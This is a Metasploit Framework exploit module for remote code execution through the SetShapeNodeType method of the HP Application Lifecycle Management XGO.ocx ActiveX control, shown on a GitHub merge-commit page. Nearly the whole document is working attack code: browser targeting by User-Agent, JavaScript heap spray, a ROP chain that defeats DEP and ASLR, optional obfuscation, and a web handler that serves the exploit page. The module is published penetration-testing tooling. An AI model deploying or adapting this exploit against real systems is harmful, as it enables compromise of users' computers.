Merge branch 'hp_alm_xgo_setshapenodetype_exec' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-hp_alm_xgo_setshapenodetype_exec
sinn3r
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fe63c97005
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "7.0",
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:ua_maxver => "9.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
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:method => "SetShapeNodeType",
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:rank => NormalRanking
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "HP Application Lifecycle Management XGO.ocx ActiveX SetShapeNodeType() Remote Code Execution",
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'Description' => %q{
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This module exploits a vulnerability within the XGO.ocx ActiveX Control
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installed with the HP Application Lifecycle Manager Client. The vulnerability
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exists in the SetShapeNodeType method, which allows the user to specify memory
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that will be used as an object, through the node parameter. It allows to control
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the dereference and use of a function pointer. This module has been successfully
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tested with HP Application Lifecycle Manager 11.50 and requires JRE 6 in order to
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bypass DEP and ASLR.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod <rgod[at]autistici.org>', # Vulnerability discovery
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'juan vazquez', # Metasploit
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],
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'References' =>
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[
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[ 'OSVDB', '85152' ],
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[ 'BID', '55272' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-170/' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'Space' => 890,
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none",
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# XGO.xco 11.50.777.0
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[ 'Automatic', {} ],
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[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
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[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
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[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
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[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
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[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Aug 29 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[1] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[2] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[3] #IE 7 on Windows Vista
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
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return targets[4] #IE 8 on Windows Vista
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
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return targets[5] #IE 8 on Windows 7
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
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return targets[6] #IE 9 on Windows 7
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else
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return nil
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end
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end
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def ie_heap_spray(my_target, p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
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# Land the payload at 0x0c0c0c0c
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case my_target
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when targets[6]
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# IE 9 on Windows 7
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js = %Q|
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function randomblock(blocksize)
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{
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var theblock = "";
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for (var i = 0; i < blocksize; i++)
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{
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theblock += Math.floor(Math.random()*90)+10;
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}
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return theblock;
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}
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function tounescape(block)
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{
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var blocklen = block.length;
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var unescapestr = "";
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for (var i = 0; i < blocklen-1; i=i+4)
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{
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unescapestr += "%u" + block.substring(i,i+4);
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}
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return unescapestr;
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}
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var heap_obj = new heapLib.ie(0x10000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_random_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset_length = #{my_target['Offset']};
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for (var i=0; i < 0x1000; i++) {
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var padding = unescape(tounescape(randomblock(0x1000)));
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while (padding.length < 0x1000) padding+= padding;
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var junk_offset = padding.substring(0, offset_length);
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var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
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while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
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sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
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heap_obj.alloc(sprayblock);
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}
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else
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# For IE 6, 7, 8
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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var overflow = nops.substring(0, 10);
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end
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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return js
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end
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def get_payload(t, cli)
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# No rop
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if t['Rop'].nil?
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code = [0x0c0c0c10].pack("V")
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code << [0x0c0c0c14].pack("V")
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code << payload.encoded
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return code
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end
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code = payload.encoded
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# ROP chain generated by mona.py - See corelan.be
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case t['Rop']
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when :jre
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exec_size = 0xffffffff - code.length + 1
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junk = rand_text_alpha(4).unpack("V")[0].to_i
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stackpivot =
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[
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0x0c0c0c10,
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0x7c342643, # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn from msvcr71.dll
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junk
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].pack("V*")
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rop =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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exec_size, # Value to negate, will become 0x00000201 (dwSize)
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0x7c347f98, # RETN (ROP NOP)
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0x7c3415a2, # JMP [EAX]
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0xffffffff,
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0x7c376402, # skip 4 bytes
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0x7c351e05, # NEG EAX # RETN
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0x7c345255, # INC EBX # FPATAN # RETN
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
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0x7c344f87, # POP EDX # RETN
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN
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0x7c34d201, # POP ECX # RETN
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0x7c38b001, # &Writable location
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0x7c347f97, # POP EAX # RETN
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
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0x7c345c30, # ptr to 'push esp # ret '
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].pack("V*")
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end
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code = stackpivot + rop + code
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return code
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end
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def load_exploit_html(my_target, cli)
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p = get_payload(my_target, cli)
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js = ie_heap_spray(my_target, p)
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id_object = rand_text_alpha(5 + rand(5))
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html = %Q|
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object classid='clsid:C3B92104-B5A7-11D0-A37F-00A0248F0AF1' id='#{id_object}'></object>
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<script language='javascript'>
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#{id_object}.SetShapeNodeType(0x0c0c0c0c, 1 , "");
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</script>
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</body>
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</html>
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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my_target = get_target(agent)
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# Avoid the attack if no suitable target found
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if my_target.nil?
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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Loading…
Reference in New Issue